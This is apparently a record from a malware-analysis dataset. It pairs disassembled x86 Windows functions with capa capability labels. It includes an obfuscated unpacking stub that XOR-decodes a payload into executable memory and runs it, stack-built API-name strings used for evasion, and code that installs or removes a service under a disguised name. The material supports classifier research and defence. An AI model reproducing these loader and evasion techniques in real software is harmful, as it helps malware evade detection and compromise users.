joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a9cc5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x67da64]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x11], 0x336c656e
push eax
mov word [ebp - 0x14], 0x654b
mov word [ebp - 0xa], 0x6c6c
mov byte [ebp - 0x12], 0x72
mov word [ebp - 0xd], 0x2e32
mov byte [ebp - 8], 0
mov byte [ebp - 0xb], 0x64
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005e61f8
mov esp, ebp
pop ebp
ret

Function at 0x4a9d12
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x67da64]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x14]
xor ebx, ebx
mov dword [ebp - 0xf], 0x61726269
push eax
mov word [ebp - 0xa], 0x4179
mov dword [ebp - 0x14], 0x64616f4c
mov byte [ebp - 8], bl
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0x10], 0x4c
call fcn.004a9cc5
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4a9d61
push esi
call eax
mov ebx, eax
mov ecx, dword [ebp - 4]
mov eax, ebx
pop esi
xor ecx, ebp
pop ebx
call fcn.005e61f8
mov esp, ebp
pop ebp
ret

Function at 0x4a9d73
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x67da64]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x20]
push esi
push edi
mov edi, dword [ebp + 8]
or esi, 0xffffffff
push eax
mov dword [ebp - 0x1b], 0x6f6f5465
mov dword [ebp - 0x1f], 0x74616572
mov dword [ebp - 0x14], 0x3233706c
mov dword [ebp - 0x10], 0x70616e53
mov word [ebp - 0x17], 0x686c
mov dword [ebp - 0xb], 0x746f68
mov byte [ebp - 0x15], 0x65
mov byte [ebp - 0xc], 0x73
mov byte [ebp - 0x20], 0x43
call fcn.004a9cc5
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4a9dde
push ebx
push edi
call eax
mov esi, eax
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005e61f8
mov esp, ebp
pop ebp
ret

Function at 0x4b6128
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 4], ecx
mov esi, edi
cmp dword [ebp + 8], esi
je 0x4b616d
call fcn.004adca0
push 0xf0
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x4b616d
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x4b6189
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.004c5b35
mov ebx, eax
test edi, edi
je 0x4b6187
test esi, esi
je 0x4b6187
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4b6b96
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
je 0x4b6c54
cmp dword [esi + 0x20], 0
je 0x4b6c54
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4b6c54
cmp dword [ebp + 8], 0
je 0x4b6c54
xor eax, eax
mov ebx, eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], ebx
mov edi, eax
call fcn.004adca0
push str.AFX_DIALOG_LAYOUT
push dword [ebp + 8]
mov eax, dword [eax + 0xc]
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x4b6c25
mov edi, dword [ebp - 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push dword [ebp - 0x10]
mov dword [ebp - 4], eax
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x4b6c54
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov dword [ebp - 8], eax
push dword [ebp - 4]
push ebx
push esi
call fcn.004c67df
add esp, 0xc
mov ebx, eax
cmp dword [ebp - 8], 0
je 0x4b6c45
test edi, edi
je 0x4b6c45
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
test ebx, ebx
je 0x4b6c50
mov ecx, esi
call fcn.004b6932
mov eax, ebx
jmp 0x4b6c56
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4bb1c4
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x60e032
call fcn.005e6b9e
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x74], ebx
jne 0x4bb1ea
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x4bb249
call fcn.004af3b9
push eax
lea ecx, [ebp - 0x10]
call fcn.0040fa20
mov edi, dword [edi + 0x74]
lea ecx, [ebp - 0x10]
push ecx
mov dword [ebp - 4], ebx
mov eax, dword [edi]
mov esi, dword [eax + 0x8c]
mov ecx, esi
call fcn.005e6cdb
mov ecx, edi
call esi
mov esi, dword [ebp + 8]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push esi
call fcn.005f29ea
push eax
call fcn.004adfb4
add esp, 0x14
test esi, esi
je 0x4bb23c
push esi
call fcn.005f2690
pop ecx
mov ebx, eax
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.0040fb8e
mov eax, ebx
call fcn.005e6b67
ret 8

Function at 0x4bbff2
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
cmp dword [esi], ebx
je 0x4bc038
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x4bc047
push str.MoveFileTransactedA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x4bc047
push dword [esi]
mov ecx, edi
push 2
push ebx
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.005e6cdb
call edi
jmp 0x4bc049
cmp dword [esi + 4], ebx
je 0x4bc047
pop edi
pop esi
pop ebx
pop ebp
jmp dword [sym.imp.KERNEL32.dll_MoveFileA]
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x4c76bc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov ebx, ecx
push edi
mov edi, dword [ebp + 8]
mov dword [ebx + 0x84], edi
test edi, 0xffff0000
jne 0x4c76e7
cmp dword [ebx + 0x80], 0
jne 0x4c76e7
movzx eax, di
mov dword [ebx + 0x80], eax
call fcn.004adca0
push 5
push edi
mov esi, dword [eax + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov edi, eax
mov ecx, ebx
push edi
call fcn.004c7975
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x4c7721
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor esi, esi
call fcn.004adca0
push 5
push dword [ebp + 8]
mov ebx, dword [eax + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x4c7758
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
mov ecx, dword [ebp - 4]
push ebx
push dword [ebp + 0xc]
push esi
call fcn.004c7779
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4c9945
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
push edi
mov dword [ebp - 4], ebx
test byte [esi + 4], 1
je 0x4c995f
mov edi, dword [esi + 0xc]
jmp 0x4c999f
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4c9978
call fcn.004bea50
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x4c998d
call fcn.004bea50
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x4c999f
call fcn.004bea50
call fcn.004adca0
cmp dword [eax + 0x3c], 0
je 0x4c99b4
push edi
mov ecx, ebx
call fcn.004c8fc8
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.004c9b91
mov ebx, eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x88]
test ecx, ecx
je 0x4c99dd
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 4]
and dword [eax + 0x88], 0
test ebx, ebx
je 0x4c99e9
mov edi, ebx
mov dword [eax + 0x88], ebx
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4ca506
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
mov ecx, dword [esi + 4]
call fcn.004bb10e
push 0xfffffffffffffff0
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongA]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x4ca542
call fcn.004ca728
mov dword [esi + 0xc], 1
jmp 0x4ca547
call fcn.004ca728
cmp dword [esi], 0
je 0x4ca590
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov esi, dword [ebp + 0x10]
test eax, eax
jle 0x4ca56a
lea ecx, [eax + 1]
push ecx
push eax
mov ecx, esi
call fcn.004af04f
jmp 0x4ca57b
push 0xff
mov ecx, esi
call fcn.0040fcaa
push 0x100
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0xffffffffffffffff
mov ecx, esi
call fcn.004ac2e5
jmp 0x4ca5b4
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, 0xffffffff
jne 0x4ca5b4
push dword [esi]
push dword [ebp - 4]
call fcn.004c1f71
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4ca67d
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push edi
push dword [ebp + 0xc]
call fcn.004ca728
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x4ca6c5
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.004af04f
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.004ac2e5
jmp 0x4ca6d0
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.004c1f71
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x4f1303
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
test esi, esi
jne 0x4f131c
call fcn.004adca0
mov esi, dword [eax + 0xc]
push 0x62b4dc
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ebx, eax
test ebx, ebx
je 0x4f1372
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x4f1371
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
test eax, eax
jne 0x4f1352
xor esi, esi
jmp 0x4f1368
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 8]
push eax
push dword [ebp - 4]
call fcn.004f137a
mov esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x585251
Capabilities:
Get file system object information

Disassembly:
push 0x274
mov eax, 0x6192fb
call fcn.005e6bd2
mov ebx, ecx
mov eax, dword [ebx + 0x14]
sub eax, 0x10
push eax
call fcn.004aa8f8
pop ecx
lea esi, [eax + 0x10]
mov dword [ebp - 0x278], esi
and dword [ebp - 4], 0
lea ecx, [ebp - 0x278]
push 0
push 0x6566e8
call fcn.004c4377
cmp eax, 0xffffffff
jne 0x58531c
push 0
push 0x62b498
lea ecx, [ebp - 0x278]
call fcn.004c4377
cmp eax, 0xffffffff
jne 0x58531c
push 0
push 0x624c7c
lea ecx, [ebp - 0x278]
call fcn.004c4377
cmp eax, 0xffffffff
jne 0x58531c
mov eax, dword [ebx + 0x14]
sub eax, 0x10
push eax
call fcn.004aa8f8
mov edi, eax
pop ecx
mov dword [ebp - 0x27c], edi
lea ecx, [edi + 0x10]
mov dword [ebp - 0x280], ecx
xor edx, edx
mov byte [ebp - 4], 1
push edx
lea eax, [ebp - 0x114]
push eax
push 0x104
push edx
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SearchPathA]
test eax, eax
jne 0x5852f9
mov eax, dword [ebx]
mov edi, dword [eax + 0x14]
mov ecx, edi
call fcn.005e6cdb
mov ecx, ebx
call edi
mov ecx, dword [ebp - 0x27c]
mov edi, eax
call fcn.0040fb8e
jmp 0x585354
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x278]
call fcn.004acafb
mov ecx, edi
mov byte [ebp - 4], 0
call fcn.0040fb8e
mov esi, dword [ebp - 0x278]
push 0x105
push 0x160
lea eax, [ebp - 0x274]
push eax
push 0
push esi
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
test eax, eax
je 0x585342
mov edi, dword [ebp - 0x274]
jmp 0x585354
mov eax, dword [ebx]
mov edi, dword [eax + 0x14]
mov ecx, edi
call fcn.005e6cdb
mov ecx, ebx
call edi
mov edi, eax
lea ecx, [esi - 0x10]
call fcn.0040fb8e
mov eax, edi
call fcn.005e6b7c
ret

Function at 0x60422c
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00603eec
Function at 0x4013c0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x414fb0
push esi
push edi
mov edi, dword [esp + 0x10]
xor esi, esi
test edi, edi
je 0x41515a
push ebx
mov ebx, dword [esp + 0x10]
nop word [eax + eax]
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
sub byte [esi + ebx], 0x3b
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 3
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
xor byte [esi + ebx], 0xa8
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xd8
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xb7
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
add esp, 0x44
push eax
call fcn.004013a7
add byte [esi + ebx], 0x73
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xc8
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xf1
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xda
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0xf5
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x6a
add esp, 0x40
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x6a
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
xor byte [esi + ebx], 0x72
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x93
push str.Protocol_of_Mind
push 0x4d24a8
call fcn.0040349f
push eax
call fcn.004013a7
add byte [esi + ebx], 0x9d
add esp, 0x30
inc esi
cmp esi, edi
jb 0x414fd0
pop ebx
pop edi
pop esi
ret

Function at 0x4035da
Capabilities:
Terminate process

Disassembly:
jmp 0x453329
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x45333a
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.00405920
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x40370b
Capabilities:
Query environment variable

Disassembly:
jmp 0x49c7e2
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x49c7f3
pop esi
ret
push ebx
push edi
push esi
call fcn.0049c6c9
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00403fe9
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x49c81b
push ebx
push esi
push edi
call fcn.00405713
add esp, 0xc
push 0
call fcn.00406262
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x40c279
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x40c288
pop dword [ebp - 0x38]
mov eax, 0x40c288
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x4257cdb4
sub dword [ebp - 0x48], 0xf4058869
mov dword [ebp - 0x44], 0x180539f7
sub dword [ebp - 0x44], 0xe5d1edb2
mov dword [ebp - 0x40], 0x7d68774a
add dword [ebp - 0x40], 0xcee3cce4
mov dword [ebp - 0x3c], 0x2bbc177a
add dword [ebp - 0x3c], 0xd443e886
lea eax, [ebp - 0x48]
push eax
mov eax, 0x2363c7c7
add eax, 0xdcde68ad
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x8261b4de
sub dword [ebp - 0x48], 0xdef4b88
mov dword [ebp - 0x44], 0xa15cef5d
add dword [ebp - 0x44], 0xa00f7218
mov dword [ebp - 0x40], 0x11258a90
add dword [ebp - 0x40], 0x5249e1dc
mov dword [ebp - 0x3c], 0x5a80386
sub dword [ebp - 0x3c], 0x5a80386
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x48194544
add eax, 0xb828ebe0
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x4078f
push 0
call eax
mov ecx, 0x1c190113
sub ecx, 0x1c18adee
mov ebx, eax
mov edi, 0x434400
add edi, dword [ebp - 0x38]
mov edx, 0x423d760e
sub edx, 0xc9f0a5df
mov dword [ebp - 0x30], 0xdc0e2fb0
mov esi, dword [edi]
xor dword [ebp - 0x1c], 0xa70bdcea
xor esi, edx
mov dword [ebx], esi
sub dword [ebp - 0x10], 0x88b1327c
add ebx, 0x7e0684d
sub ebx, 0x7e06849
add edi, 0x47ede987
sub edi, 0x47ede983
loop 0x40c39f
add eax, 0x261715a7
sub eax, 0x2615d640
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xd41989fd
add ecx, 0x2c267603
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x40166c
Capabilities:
Create process on windows

Disassembly:
push 0x14
mov eax, 0x40abb9
call fcn.00409c2a
call fcn.00401509
lea eax, [ebp - 0x18]
push eax
mov edi, str.AOLDiskOptimizer
call fcn.00401bae
lea eax, [ebp - 0x14]
xor ebx, ebx
push eax
mov edi, str.AOLDefragSrv.exe
mov dword [ebp - 4], ebx
call fcn.00401bae
mov byte [ebp - 4], 1
call fcn.0040110b
test al, al
je 0x4016b9
push str.AOLDefragSrv64.exe
lea eax, [ebp - 0x14]
push eax
call fcn.00401c56
mov eax, dword [0x40f984]
add eax, 0xfffffff0
call fcn.004020e5
add eax, 0x10
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x1c]
push 0x40cbb0
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call fcn.00401de5
pop ecx
pop ecx
mov byte [ebp - 4], 3
mov eax, dword [eax]
push dword [eax - 0xc]
push eax
lea eax, [ebp - 0x10]
call fcn.004021cb
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
call fcn.00402447
push ebx
push ebx
push 0x40cbb4
push dword [ebp - 0x10]
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push ebx
push ecx
mov eax, esp
mov dword [ebp - 0x1c], esp
push eax
mov edi, 0x40cc48
call fcn.00401bae
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x18]
push ecx
add eax, 0xfffffff0
mov dword [ebp - 0x20], esp
mov esi, esp
call fcn.004020e5
add eax, 0x10
mov dword [esi], eax
mov byte [ebp - 4], 2
call fcn.004019cb
add esp, 0xc
cmp eax, ebx
setne al
cmp al, bl
jne 0x4017c0
push ebx
push ecx
mov eax, esp
mov dword [ebp - 0x20], esp
push eax
call fcn.00401bae
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x18]
push ecx
add eax, 0xfffffff0
mov dword [ebp - 0x1c], esp
mov esi, esp
call fcn.004020e5
add eax, 0x10
mov dword [esi], eax
mov byte [ebp - 4], 2
call fcn.004019cb
add esp, 0xc
cmp eax, ebx
setne al
cmp al, bl
jne 0x4017c0
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
call fcn.00402447
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
call fcn.00402447
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff0
call fcn.00402447
mov eax, ebx
call fcn.00409c93
ret
xor ebx, ebx
inc ebx
jmp 0x401797
Function at 0x4017c5
Capabilities:
Create process on windows

Disassembly:
push 0x10
mov eax, 0x40ab6e
call fcn.00409c2a
call fcn.00401509
lea eax, [ebp - 0x1c]
push eax
mov edi, str.AOLDiskOptimizer
call fcn.00401bae
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
push eax
mov edi, str.AOLDefragSrv.exe
call fcn.00401bae
mov byte [ebp - 4], 1
call fcn.0040110b
test al, al
je 0x401811
push str.AOLDefragSrv64.exe
lea eax, [ebp - 0x10]
push eax
call fcn.00401c56
mov eax, dword [0x40f984]
add eax, 0xfffffff0
call fcn.004020e5
add eax, 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x18]
push 0x40cbb0
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 2
call fcn.00401de5
pop ecx
pop ecx
mov byte [ebp - 4], 3
mov eax, dword [eax]
push dword [eax - 0xc]
push eax
lea eax, [ebp - 0x14]
call fcn.004021cb
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff0
call fcn.00402447
mov esi, dword [ebp - 0x14]
push 0
push 0
push str._Remove
push esi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [esi - 0x10]
call fcn.00402447
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
call fcn.00402447
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
call fcn.00402447
xor eax, eax
inc eax
call fcn.00409c93
ret

Function at 0x4018c5
Capabilities:
Check if file exists
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x7ac]
sub esp, 0x82c
mov eax, dword [0x40e13c]
xor eax, ebp
mov dword [ebp + 0x7a8], eax
push esi
mov esi, dword [ebp + 0x7bc]
push edi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 0x820
lea eax, [ebp - 0x78]
push 0
push eax
call fcn.00403870
add esp, 0xc
lea eax, [ebp - 0x78]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40193f
lea eax, [ebp - 0x80]
push eax
lea edi, [ebp - 0x78]
call fcn.00401bae
lea eax, [ebp - 0x80]
call fcn.00401c06
mov eax, dword [ebp - 0x80]
add eax, 0xfffffff0
call fcn.00402447
lea eax, [ebp - 0x7c]
push eax
mov edi, esi
call fcn.00401bae
lea eax, [ebp - 0x7c]
call fcn.00401cb5
lea eax, [ebp - 0x7c]
call fcn.00401cde
mov eax, dword [ebp - 0x7c]
cmp dword [eax - 0xc], 0
je 0x4019a5
push str.killservice
lea esi, [ebp - 0x7c]
call fcn.00401c8a
test eax, eax
jl 0x401979
call fcn.00401509
push str.installservice
lea esi, [ebp - 0x7c]
call fcn.00401c8a
test eax, eax
jl 0x40198f
call fcn.0040166c
push str.removeservice
lea esi, [ebp - 0x7c]
call fcn.00401c8a
test eax, eax
jl 0x4019a5
call fcn.004017c5
mov eax, dword [ebp - 0x7c]
add eax, 0xfffffff0
call fcn.00402447
mov ecx, dword [ebp + 0x7a8]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.00403029
add ebp, 0x7ac
leave
ret 0x10